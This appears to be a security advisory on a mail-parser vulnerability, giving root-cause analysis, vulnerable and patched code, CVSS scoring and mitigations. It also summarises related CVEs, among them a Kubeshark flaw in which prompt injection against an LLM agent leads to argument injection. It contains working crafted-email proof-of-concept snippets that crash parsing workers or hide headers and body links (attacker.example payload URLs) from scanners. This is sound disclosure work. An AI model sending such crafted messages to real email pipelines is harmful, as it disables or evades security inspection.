Nov 17, 2026·11 min read·3 visits
SpamScope mail-parser versions prior to 4.6.2 resolve attacker-controlled email header names via Python's getattr() and apply suffix-stripping transformations during parsing. This allows remote attackers to crash email processing pipelines via uncaught TypeError exceptions or evade downstream security scanners by silently overwriting headers and bypassing initialization on headerless messages.
CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.
mail-parser is a Python library developed by SpamScope that wraps Python's standard email module to extract headers, body content, routing metadata, and attachments into structured Python dictionaries and serialized JSON payloads. It is frequently deployed within automated email ingestion pipelines, spam filters, threat intelligence feeds, and security orchestration platforms to normalize raw RFC 5322 email messages for downstream analysis.
In versions prior to 4.6.2, mail-parser conflates the internal Python object namespace of the MailParser class with the untrusted namespace of wire-level email headers. When constructing the parsed representation of an email message, the parser iterates over header keys extracted from the raw message and resolves their values by invoking Python's built-in getattr(self, key) on the MailParser instance itself.
This design exposes the parser to two primary vulnerability classes: CWE-248 (Uncaught Exception) and CWE-436 (Interpretation Conflict). First, when an incoming email contains header names that match existing MailParser methods or properties, or contains raw 8-bit header values handled under Python's compat32 policy, non-serializable Python objects (such as bound methods or email.header.Header instances) are inserted into the parsed output dictionary. Subsequent attempts to serialize the message via mail_json raise an uncaught TypeError, which falls outside the library's MailParserError exception hierarchy and terminates the calling worker process.
Second, MailParser.__getattr__ implements convenience transformations intended for Python callers, including folding underscores to hyphens and stripping _json and _raw suffixes to dynamically serialize attributes. Because the parser routes wire header lookups through this same mechanism, an attacker can include headers such as Subject_json or X_Spam_Flag, or send a headerless message body, causing the library to silently drop or substitute header data and return empty body strings while keeping has_defects set to False.
The primary root cause of CVE-2026-129299 lies in how MailParser._make_mail() populates the parsed dictionary from raw message headers. In affected versions, _make_mail() iterates over a combined set of message header keys and predefined structural parts, calling getattr(self, i) for every key. In Python's attribute resolution order, explicit class methods, properties, and instance attributes defined on MailParser take precedence over the fallback __getattr__ hook. Consequently, if an email contains a header whose lowercased name matches a method on MailParser—such as Parse, Message, Write_Attachments, or From_File—getattr(self, i) returns the bound method object instead of querying the email headers. Because bound method objects are truthy, _make_mail() stores them directly inside self._mail. When the application accesses parser.mail_json or parser.mail_partial_json, json.dumps() encounters the bound method and raises TypeError: Object of type method is not JSON serializable.
A secondary root cause involves the recursive and transformative behavior of MailParser.__getattr__. When getattr(self, i) does not match a class attribute, execution falls through to __getattr__(self, name), which normalizes the attribute name by stripping leading/trailing underscores, converting underscores to hyphens (name.replace("_", "-")), and branching on _json and _raw suffixes. When _make_mail() processes a wire header named Subject_json, __getattr__ strips the [:-5] suffix and recursively invokes getattr(self, "subject"), returning the JSON-serialized value of the benign Subject header while discarding the actual wire content of Subject_json. Furthermore, if an email contains headers that collide with property names using suffixed or cased variants (such as Headers or Headers_json), the naive exclusion set(self.message.keys()) - {"headers"} is bypassed, triggering infinite recursion or $O(\text{distinct} \times \text{total})$ quadratic rescans across Message.get_all() (CWE-407).
Two additional edge cases compound these parser flaws. First, when raw bytes containing 8-bit non-ASCII characters in headers are parsed via parse_from_bytes(), Python's compat32 email policy represents those headers as email.header.Header instances rather than standard str objects. Accessing the _raw suffix in __getattr__ passes the list of Header objects from self.message.get_all(name) directly to json.dumps(), raising TypeError: Object of type Header is not JSON serializable.
Second, MailParser.parse() previously guarded execution with if not self.message: return self before calling self._reset(). Because Python's email.message.Message.__len__() returns the total count of headers in the message, a valid message containing a body payload but zero headers evaluates as falsy (bool(self.message) == False). This caused parse() to exit early before calling _reset() or extracting the payload (CWE-754). Subsequent accesses to parser.body or parser.attachments fell through to __getattr__, which treated them as missing email headers and returned empty strings ("") with has_defects remaining False.
The vulnerability was remediated in commit ce3cf3559db1ff806bda598b378de9f8c2a5be96 (Pull Request #167) by strictly separating internal Python attribute resolution from wire header extraction in src/mailparser/core.py.
Before the patch, _make_mail() resolved every key through getattr(), and parse() checked the truthiness of self.message prior to initializing internal state:
# Vulnerable code in src/mailparser/core.py (prior to 4.6.2)
def _make_mail(self, complete=True):
mail = {}
keys = self._get_keys(complete)
for i in keys:
log.debug(f"Getting header or part {i!r}")
# FLAW: Invokes getattr() on untrusted wire header names.
# Collides with MailParser methods and triggers __getattr__ transformations.
value = getattr(self, i)
if value:
mail[i] = value
return mail
def parse(self):
# FLAW: email.message.Message.__len__ counts headers.
# A headerless message evaluates as False, skipping _reset() and body parsing.
if not self.message:
return self
self._reset()
# ... body and attachment parsing ...Similarly, the vulnerable __getattr__ method stripped leading underscores, did not block private attribute lookups, and passed raw Message.get_all() results directly into json.dumps():
# Vulnerable __getattr__ in src/mailparser/core.py (prior to 4.6.2)
def __getattr__(self, name):
name = name.strip("_").lower()
name_header = name.replace("_", "-")
if name.endswith("_json"):
name = name[:-5]
return json.dumps(getattr(self, name), ensure_ascii=False)
elif name.endswith("_raw"):
name = name[:-4]
# FLAW: Returns email.header.Header instances on 8-bit headers,
# causing json.dumps() to raise TypeError.
raw = self.message.get_all(name) if self.message else None
return json.dumps(raw, ensure_ascii=False)The patch introduces an explicit header index (_build_header_index) constructed in $O(\text{total})$ time during _reset(), along with a dedicated _header_value() lookup method that queries the index directly without going through Python attribute dispatch. In _make_mail(), getattr(self, i) is now restricted exclusively to a static allowlist (COMPUTED_PARTS), while reserved defect keys (_RESERVED_MAIL_KEYS) are explicitly skipped:
# Patched code in src/mailparser/core.py (4.6.2)
COMPUTED_PARTS = {
"attachments",
"body",
"date",
"received",
"timezone",
"to_domains",
}
_RESERVED_MAIL_KEYS = frozenset({"defects", "defects_categories", "has_defects"})
def _reset(self):
self._defects = []
self._defects_categories = set()
self._has_defects = False
self._mail = {}
self._mail_partial = {}
# FIX: Build O(1) lowercase header lookup map once per parse
self._header_index = self._build_header_index()
def _build_header_index(self):
index = {}
if self.message:
for name, value in self.message.items():
index.setdefault(name.lower(), []).append(value)
return index
def _make_mail(self, complete=True):
for i in keys:
log.debug(f"Getting header or part {i!r}")
# FIX: Prevent wire headers from overwriting defect tracking keys
if i in _RESERVED_MAIL_KEYS:
continue
# FIX: Only use getattr() for known computed properties; fetch all
# wire headers directly from the header index.
value = getattr(self, i) if i in COMPUTED_PARTS else self._header_value(i)
if value:
mail[i] = value
def parse(self):
# FIX: Always initialize state and check specifically for None
self._reset()
if self.message is None:
return selfIn addition, __getattr__ was hardened to immediately raise AttributeError for any attribute name starting with an underscore (_), preventing uninitialized private attributes from falling through into header resolution. For _raw accessors, each raw header item is now converted via ported_string(i) before calling json.dumps(), ensuring email.header.Header objects are converted to strings prior to serialization.
> [!NOTE]
> Assessment of Fix Completeness: Commit ce3cf3559db1ff806bda598b378de9f8c2a5be96 comprehensively addresses the root causes. In addition to decoupling _make_mail() from getattr(), the commit also fixes algorithmic complexity amplifications where stacked _json_json suffixes or quadratic Message.get_all() loops could be abused, and tightens Received header IP/HELO parsing against substring spoofing.
Exploitation of CVE-2026-129299 requires no authentication or user interaction. An attacker only needs the ability to submit an email message (or raw RFC 5322 input) to a service, pipeline, or security appliance that parses messages with mail-parser prior to version 4.6.2.
To terminate an email processing worker that serializes parsed messages via mail_json or mail_partial_json, an attacker includes a header whose name matches any method on MailParser (case-insensitively, as keys are lowercased during collection). A minimal 12-byte payload containing Parse: x is sufficient:
import mailparser
# 'Parse' collides with MailParser.parse() during _make_mail() execution
raw_email = "Parse: x\r\n\r\nBody content"
parser = mailparser.parse_from_string(raw_email)
# Accessing mail_json triggers an uncaught TypeError:
# TypeError: Object of type method is not JSON serializable
serialized = parser.mail_jsonWhen parser.mail_json is evaluated, self.mail["parse"] contains <bound method MailParser.parse of <mailparser.core.MailParser object>>. Because applications catching mailparser.exceptions.MailParserError do not catch standard TypeError exceptions on property access, the unhandled exception crashes the worker task.
If a downstream detection engine inspects parser.mail for custom headers added by upstream MTA filters or evaluates all headers present in the dictionary, an attacker can exploit the _json suffix rewrite in __getattr__ to hide header values or alter underscore-delimited headers:
import mailparser
raw_email = (
"From: sender@example.com\r\n"
"Subject: Quarterly Report\r\n"
"Subject_json: MALWARE-C2 http://attacker.example/payload.exe\r\n"
"X_Spam_Flag: YES\r\n\r\n"
"Benign message body"
)
parser = mailparser.parse_from_string(raw_email)
# parser.mail['subject_json'] evaluates to '"Quarterly Report"'
# The actual wire value of Subject_json is silently discarded.
# parser.has_defects remains False.
print("subject_json value:", parser.mail.get("subject_json"))
print("has_defects:", parser.has_defects)To hide malicious body links or attachments from a scanner that inspects parser.body and checks parser.has_defects, an attacker transmits a message body without preceding RFC 5322 headers:
import mailparser
raw_email = "Download update: http://attacker.example/loader.bin\r\n"
parser = mailparser.parse_from_string(raw_email)
# Because len(parser.message) == 0, parse() returns early before _reset().
# parser.body falls through to __getattr__('body') and returns ''.
assert parser.body == ""
assert parser.has_defects is FalseCVE-2026-129299 carries a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L. The vulnerability is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), requiring neither privileges (PR:N) nor user interaction (UI:N), as email ingestion services process incoming messages automatically.
The Availability (A:L) impact stems from deterministic denial-of-service conditions. Any message containing a header name that matches a MailParser method or property (Parse, Message, Write_Attachments, From_File), or containing raw 8-bit non-ASCII headers accessed via _raw properties, causes json.dumps() to raise an unhandled TypeError. In synchronous queue workers or webhook processors that only trap MailParserError, a single malformed message can halt processing or trigger repeated dead-letter retry loops. Additionally, prior to version 4.6.2, repeated _json suffixes (e.g., X_json_json_json) caused exponential string expansion via nested json.dumps() calls.
The Integrity (I:L) impact affects automated security inspection, spam classification, and forensic logging tools that rely on mail-parser for canonical email representation. Because wire headers with _json or _raw suffixes or underscores (_) are silently rewritten or overwritten by __getattr__, and headerless messages return empty body strings without setting has_defects = True, an attacker can cause downstream rules engines to miss malicious payloads or misattribute header data. There is no direct Confidentiality (C:N) impact, as the flaw does not expose arbitrary memory or host files.
As of publication, CVE-2026-129299 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation has been reported.
The primary remediation is to upgrade mail-parser to version 4.6.2 or later, which incorporates commit ce3cf3559db1ff806bda598b378de9f8c2a5be96 (PR #167). Version 4.6.2 replaces reflective getattr() header resolution with an explicit lowercase header index (_build_header_index), isolates computed properties (COMPUTED_PARTS), protects defect indicators (_RESERVED_MAIL_KEYS), converts email.header.Header instances via ported_string() prior to JSON serialization, and ensures parse() initializes parser state even when len(self.message) == 0.
Administrators and developers can upgrade the package using pip:
pip install --upgrade "mail-parser>=4.6.2"For environments where an immediate package upgrade is not feasible, implement the following defensive workarounds in the application layer:
TypeError and RecursionError During Parsing and Serialization: Wrap calls to mailparser.parse_from_*, parser.mail, parser.mail_json, and parser.headers_json in exception handlers that catch TypeError and RecursionError in addition to MailParserError.import mailparser
from mailparser.exceptions import MailParserError
try:
parser = mailparser.parse_from_bytes(raw_email_bytes)
payload_json = parser.mail_json
except (MailParserError, TypeError, RecursionError) as exc:
# Quarantine message and log parsing failure
handle_quarantine(raw_email_bytes, reason=str(exc))Validate Header Presence Before Relying on parser.body: On versions prior to 4.6.2, verify len(parser.message.keys()) > 0 before trusting an empty parser.body result, or inspect parser.message.get_payload() directly when a message contains zero RFC 5322 headers.
Pre-Filter Colliding Wire Headers at the MTA or Ingestion Layer: Configure upstream mail transfer agents or pre-parsers to flag or strip anomalous non-standard headers that collide with MailParser internal attributes (Parse, Message, Write_Attachments, From_File) or end with _json or _raw suffixes.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
mail-parser SpamScope | < 4.6.2 | 4.6.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-129299 (GHSA-24mq-4vc6-2prf) |
| Primary CWE | CWE-248 (Uncaught Exception) / CWE-436 (Interpretation Conflict) |
| CVSS v3.1 Score | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Attack Vector | Network (Unauthenticated crafted email headers or headerless messages) |
| Affected Versions | SpamScope mail-parser < 4.6.2 |
| Patched Version | SpamScope mail-parser 4.6.2 |
| Technical Impact | Uncaught TypeError DoS on JSON serialization and silent header/body omission |
| CISA KEV Status | Not Listed |
An exception is thrown from a function, enhancer, or routine, and it is not caught, leading to application termination or denial of service, alongside CWE-436 (Interpretation Conflict) where wire headers collide with internal attribute resolution.
A Regular Expression Denial of Service (ReDoS) vulnerability exists in SpamScope mail-parser versions 4.2.0 prior to 4.6.1. Two separate regular expressions evaluated during standard email header parsing exhibit quadratic to cubic backtracking complexity when processing headers padded with whitespace or angle brackets. An unauthenticated remote attacker can exploit this flaw by sending a small, RFC-compliant email message, causing parsing worker threads or processes to stall at 100% CPU utilization for extended periods.
CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.
CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.
Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.
CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.
CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.